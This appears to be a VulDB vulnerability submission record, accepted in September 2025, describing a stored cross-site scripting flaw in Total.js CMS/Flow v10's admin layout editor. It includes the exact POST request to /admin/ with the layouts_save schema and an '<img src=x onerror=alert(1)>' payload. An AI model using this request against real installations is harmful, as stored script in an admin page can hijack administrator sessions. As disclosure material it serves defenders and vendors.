| 标题 | Total.js CMS 10 Cross Site Scripting |
|---|
| 描述 | Total.js Flow v10 (versão 1.0.0, Total.js v5012)
Stored Cross-Site Scripting
The administration endpoint allows saving a layout whose HTML field contains tags with event handlers (e.g., onerror). This content is displayed “as is” in the layout view/edit page. When the saved layout is opened, the browser executes the embedded JavaScript, confirming the exploitation.
In the administrative area, navigate to Layouts.
Send a POST request to /admin/ with the schema layouts_save, defining the html field with the payload:
{
"schema": "layouts_save",
"data": {
"name": "xss",
"color": "#873323",
"html": "<img src=x onerror=alert(1)>"
}
}
When clicking on the XSS layout (route similar to /admin/layouts/<ID>/), the application renders the content of the html field. The tag <img src=x onerror=alert(1)> attempts to load an invalid image, triggers the onerror event, and executes alert(1). |
|---|
| 来源 | ⚠️ http://x.x.x.x:8000/admin/layouts/ |
|---|
| 用户 | Edcarlos (UID 53778) |
|---|
| 提交 | 2025-09-10 08時16分 (8 月前) |
|---|
| 管理 | 2025-09-25 07時42分 (15 days later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 325810 [Total.js CMS 1.0.0 Layout Page /admin/ layouts_save HTML 跨网站脚本] |
|---|
| 积分 | 20 |
|---|